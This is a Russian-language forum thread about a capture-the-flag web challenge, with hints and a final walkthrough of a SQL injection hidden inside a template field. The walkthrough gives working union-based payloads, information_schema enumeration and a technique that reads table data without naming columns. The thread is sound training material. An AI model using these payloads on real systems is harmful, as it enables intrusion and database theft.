Task # Task #10

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by dooble, 19 Mar 2020.

  1. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    231
    Likes Received:
    601
    Reputations:
    145
    task10_3.jpg

    Пока остаемся в рамках простых заданий, можно ковырять всем.

    Задание искусственно можно разбить на два этапа:
    - найти дыру
    - проэксплуатировать

    Вторая часть - чисто технология, изобретать не надо, все известно, ну может не часто использовалась.
    В первой части заметная эвристическая составляющая, на любителя.

    Брутить и сканить ничего не нужно (просто бесполезно), внимательность и аккуратность вырулят.

    Задание:
    Таргет: http://task10.antichat.xyz/
    Найти и прочитать флаг.
    Ответы присылайте в ПМ форума, интересует не флаг, а прохождение.

    Срок:
    две недели.


    Правила остаются прежними:
    В теме не флудим, подсказки разрешены только от ТС.


    Прошли:
    undefo 1,2
    Shubka75 1,2
    neur0funk 1,2
    Раrаdох 1,2
    nix_security 1,2
    gurux13 1,2
    MichelleBoxing 1,2
    fandor9 1,2


    Прохождения

    https://forum.antichat.ru/threads/476269/#post-4375982
     
    #1 dooble, 19 Mar 2020
    Last edited: 2 Apr 2020
    dart8888, crlf, neur0funk and 7 others like this.
    1. dooble

      dooble Members of Antichat

      Joined:
      30 Dec 2016
      Messages:
      231
      Likes Received:
      601
      Reputations:
      145
      В форму уже повтыкали и поняли, в учетке баги нет.
      Но там еще какие то поля присутствуют и есть непонятки.
       
      1. dooble

        dooble Members of Antichat

        Joined:
        30 Dec 2016
        Messages:
        231
        Likes Received:
        601
        Reputations:
        145
        Наверное можно сразу подсказать, что за багу ищем, но попробую сделать чуть менее явно.
        Это самая изученная тема на Античате.
        Да-да, банальная ...

        Т.е. - умеют все.
         
        1. dooble

          dooble Members of Antichat

          Joined:
          30 Dec 2016
          Messages:
          231
          Likes Received:
          601
          Reputations:
          145
          Попросили пока не делать подсказок, подожду до завтра.
          Мне все же представляется, что не нужно перебирать все варианты, слишком много времени уйдет, а искать конкретную багу.
          Тем более, что лежит она неочевидно.
          И это почти уравнивает шансы профи и новичков.
           
          1. dooble

            dooble Members of Antichat

            Joined:
            30 Dec 2016
            Messages:
            231
            Likes Received:
            601
            Reputations:
            145
            Собственно подсказка уже дана и если скажу открытым текстом, разница будет небольшая.

            Имеем SQLi.
            И даже не слепую, а с выводом.

            Но кавычкой она не ловится.
            Да и вывод больше похож на замочную скважину, видно не все и не всегда.
            И "крутить" нужно осторожно, прямо кончиками пальцев.

            Дверь и откроется.
             
            fandor9, crlf and Stalker_Admin like this.
            1. dooble

              dooble Members of Antichat

              Joined:
              30 Dec 2016
              Messages:
              231
              Likes Received:
              601
              Reputations:
              145
              Однажды (на даже очень крупном сайте) встретилась необычная SQLi, которую не сразу и узнал то.
              Не подавала признаков жизни, пока не начал определять точные границы фильтра в поле.
              Вот тогда сформировалась конструкция, внутри которой начали срабатывать логические выражения и SQLi.

              Некоторый шаблон служил запуском SQLi.
              И он же сломал мой шаблон о том, как должна выглядеть SQLi.

              Поле "template" в задании должно было запустить ассоциации с чем то типа SSTI.
               
              fandor9 and crlf like this.
              1. dooble

                dooble Members of Antichat

                Joined:
                30 Dec 2016
                Messages:
                231
                Likes Received:
                601
                Reputations:
                145
                Подсказок пока не будет, порог новизны пройден, остальное дело техники.
                Если утомились искать точку входа, можно пропустить этот этап, стучите в личку, выдам шаблон.

                Возможно дней через несколько выложу его для всех, поскольку задание предполагалось для массового прохождения, основное в задании - во второй части.
                А первая часть добавляет "вкус", элемент неожиданности. На любителя.
                 
                1. undefo

                  undefo New Member

                  Joined:
                  4 Sep 2019
                  Messages:
                  2
                  Likes Received:
                  3
                  Reputations:
                  11
                  Спасибо за таск, познавательно!
                   
                  Раrаdох and Spinus like this.
                  1. dooble

                    dooble Members of Antichat

                    Joined:
                    30 Dec 2016
                    Messages:
                    231
                    Likes Received:
                    601
                    Reputations:
                    145
                    Наверное нет смысла дольше ковырять первую часть.
                    Есть некоторый предел, после которого вместо радости открытия получишь утомление и раздражение.
                    Поэтому пропускаем и ищем дальше
                    Иньекция в поле template, но не в привычном нам виде, а внутри некоторой конструкции, похожей на то, что мы встречаем при SSTI
                    Code:
                    ={{SQLi}}=
                    Здесь вместо "SQLi" вставляем нужный payload.

                    Вторая часть должна пойти полегче, undefo прислал ответ почти со скоростью набора символов на клавиатуре.
                     
                    1. dooble

                      dooble Members of Antichat

                      Joined:
                      30 Dec 2016
                      Messages:
                      231
                      Likes Received:
                      601
                      Reputations:
                      145
                      Видимо многим в новинку, не поняли подсказку, в личку каждому отвечать не буду попробую здесь пояснить еще раз.
                      Иньекция срабатывает не просто в поле, как мы привыкли, а внутри некоторого шаблона, т.е. так
                      Code:
                      _csrf=OA26W7CTlUbhgUC0XdWn50gWHtEv3jv91krkfL6TpCs&template=={{тут вставляем payload}}=&email=&password=&commit=Log In
                       
                      1. dooble

                        dooble Members of Antichat

                        Joined:
                        30 Dec 2016
                        Messages:
                        231
                        Likes Received:
                        601
                        Reputations:
                        145
                        Наверное последнее, что напишу по поводу задания
                        вторая часть - изи, или даже изи-изи.
                        Union-based SQLi с выводом, даже не слепая.
                        Ради нее и задание запускать не очень нужно, тем более на форуме, где исторически сложилась сильная школа исследователей по этому направлению.

                        Но раз уже сделано, точка входа выложена на блюдечке, можно и воткнуть.
                        Я предполагал, что решит всякий, кто возьмется.
                        Даже с начальным опытом.
                         
                        undefo and crlf like this.
                        1. neur0funk

                          neur0funk Member

                          Joined:
                          9 May 2018
                          Messages:
                          22
                          Likes Received:
                          18
                          Reputations:
                          12
                          Спс, хороший таск, на практике такое ни разу не использовал.

                          P.S. после закрытия таска, можно исходники посмотреть?
                           
                          Stalker_Admin and undefo like this.
                          1. dooble

                            dooble Members of Antichat

                            Joined:
                            30 Dec 2016
                            Messages:
                            231
                            Likes Received:
                            601
                            Reputations:
                            145
                            Задание не на поиск багов в движках, в коде.
                            Почему и как написан код - никакого значения не имеет.

                            Имеем нечто по-факту.
                            С ним можно взаимодействовать некоторым образом.
                            Нужно догадаться - как именно.

                            Черный ящик.
                             
                            1. Раrаdох

                              Раrаdох Elder - Старейшина

                              Joined:
                              30 Jan 2014
                              Messages:
                              95
                              Likes Received:
                              140
                              Reputations:
                              33
                              Раз уж заглянул на античат, то заодно решил и размять руки. Спасибо за задание, было интересно и совсем не долго, — ничего сложного.
                               
                              neur0funk, undefo and Baskin-Robbins like this.
                              1. nix_security

                                nix_security Level 8

                                Joined:
                                15 Feb 2019
                                Messages:
                                11
                                Likes Received:
                                31
                                Reputations:
                                48
                                Спасибо, получил удовольствие от задания
                                 
                                1. gurux13

                                  gurux13 Member

                                  Joined:
                                  4 Feb 2019
                                  Messages:
                                  8
                                  Likes Received:
                                  30
                                  Reputations:
                                  48
                                  Довольно интересная задача. Первую часть оценить не могу, потому что посмотрел подсказки. Ну как, подсказки. Решение :)
                                  А вот вторая часть неплохая, хотя для меня с элементом "угадывания".

                                  Спасибо за задачу!
                                   
                                  1. MichelleBoxing

                                    MichelleBoxing Reservists Of Antichat

                                    Joined:
                                    12 Nov 2018
                                    Messages:
                                    19
                                    Likes Received:
                                    32
                                    Reputations:
                                    57
                                    познавательно, было интересно.
                                    Спасибо автору
                                     
                                    #17 MichelleBoxing, 1 Apr 2020
                                    Last edited: 2 Apr 2020
                                    undefo and Baskin-Robbins like this.
                                    1. fandor9

                                      fandor9 Reservists Of Antichat

                                      Joined:
                                      16 Nov 2018
                                      Messages:
                                      630
                                      Likes Received:
                                      1,050
                                      Reputations:
                                      47
                                      Спасибо, попыхтел и решил. :) узнал кое-что для себя новое.
                                       
                                      Baskin-Robbins and undefo like this.
                                      1. dooble

                                        dooble Members of Antichat

                                        Joined:
                                        30 Dec 2016
                                        Messages:
                                        231
                                        Likes Received:
                                        601
                                        Reputations:
                                        145
                                        Прохождение:

                                        Ищем точку входа.
                                        Ничего интересного, кроме параметров, в форме нет.
                                        Втыкаем в них.
                                        В ответах есть реакция только на поле "template", видна работа фильтра, на "запрещенные" символы получаем пустую ссылку на файл стилей и верстка рушится.
                                        Если проверить на допустимые символы, то получим такой набор:
                                        [a-zA-Z0-9\-_\.\/\'\{\}= \(\),\*]
                                        Немного странный набор, но он косвенно свидетельствует о том, что поле обрабатывается и через него можно отослать, сразу и не понятно чего.
                                        Странным его делают символы (){}*=
                                        попробем построить из них чего-нибудь.

                                        В аналогичной ситуациии заметил, что часто получаются симметричные конструкции и начал добавлять в них выражения - арифметические и логические.
                                        В какой то момет получил реакцию.

                                        В данном случае внутри шаблона ={{}}=
                                        Code:
                                        ={{purple}}=                          href="./css/purple.css"
                                        ={{purple'and'1}}=                    href="./css/purple.css"
                                        ={{purple'and'0}}=                    href=""
                                        ={{'or'1}}=                           href="./css/purple.css"
                                        ={{'union select version()'}}=        href="10.1.44-MariaDB-0+deb9u1"
                                        
                                        дальше можно открыть любую методичку по SQLi и продолжить:
                                        Code:
                                        'union select  group_concat(0x7c,table_schema)from(select distinct table_schema from information_schema.tables)t-- -
                                        href="|information_schema,|task10"

                                        Code:
                                        'union select  group_concat(0x7c,table_name)from(select distinct table_name from information_schema.tables where table_schema=0x7461736B3130)t-- -
                                        href="|flag1286n2482,|template"

                                        Видим сбивающее с толку название flag1286n2482, чтоли это и есть флаг?
                                        Но по факту это только указатель, нужно прочитать данные таблички.
                                        И тут наш вектор сломался и отказывается работать, если мы пытаемся воткнуть ему подстроку "column".

                                        С одной стороны обидно, пару запросов осталось сделать.
                                        С другой стороны - нас это не остановит.
                                        Было время, когда information_schema вообще не существовало, а информацию вытаскивали.
                                        И тут есть два варианта - быстренько повтыкать по такому случаю, или не тратить время и убедиться, что это уже давно найдено за нас
                                        https://rdot.org/forum/showpost.php?p=18012&postcount=10

                                        Находим количество полей в таблице - 3.
                                        Code:
                                        purple' and exists(select*from(select*from flag1286n2482 order by 3)k)and'1
                                        purple' and exists(select*from(select*from flag1286n2482 order by 4)k)and'1
                                        и вынимаем данные
                                        Code:
                                        'union select k.2 from(select 1,2,3 union select * from flag1286n2482)k limit 1,1-- -
                                        href="*A9842A926CB0D29CBCC7F5A4719E9E65AD5278AC"


                                        Вообще, задания типа этой первой части я не люблю и скорее всего не стал бы его решать.
                                        Тогда почему включил в таск?

                                        В задании допустимо следовать настроению и проигнорить поиск, но в реале мотивация может быть посильнее, чем настроение.
                                        И когда в такой ситуации бага расковырялась, я понял несколько вещей:
                                        - SQLi и сейчас может быть интересной, хотя в свое время их навтыкались до отвращения.
                                        - сколько и чего я пропустил на реальных сайтах, просто потому, что опыт загоняет тебя в шаблоны восприятия - что и как должно выглядеть.
                                        - приятно открыть дверь там, где ее даже и не видно, даже и при полном свете.



                                        Прохождения участников:








                                        Всем спасибо!
                                        Все меньше времени остается на задачки, но мы их не бросаем :)

                                        ==
                                        PS
                                        В изначальном варианте information_schema была полностью запрещена и нужно было найти еще и небрутабельное имя таблицы.
                                        Но посчитал, что это излишне затянет задание, без особой на то необходимости.
                                        И выпилил перед запуском.
                                         
                                        #19 dooble, 2 Apr 2020
                                        Last edited: 2 Apr 2020
                                        4Fun, undefo, Shubka75 and 2 others like this.
                                        1. crlf

                                          crlf Green member

                                          Joined:
                                          18 Mar 2016
                                          Messages:
                                          684
                                          Likes Received:
                                          1,518
                                          Reputations:
                                          460
                                          Пацаны ваще ребята, респект всем решившим! ;)
                                           
                                          dooble and undefo like this.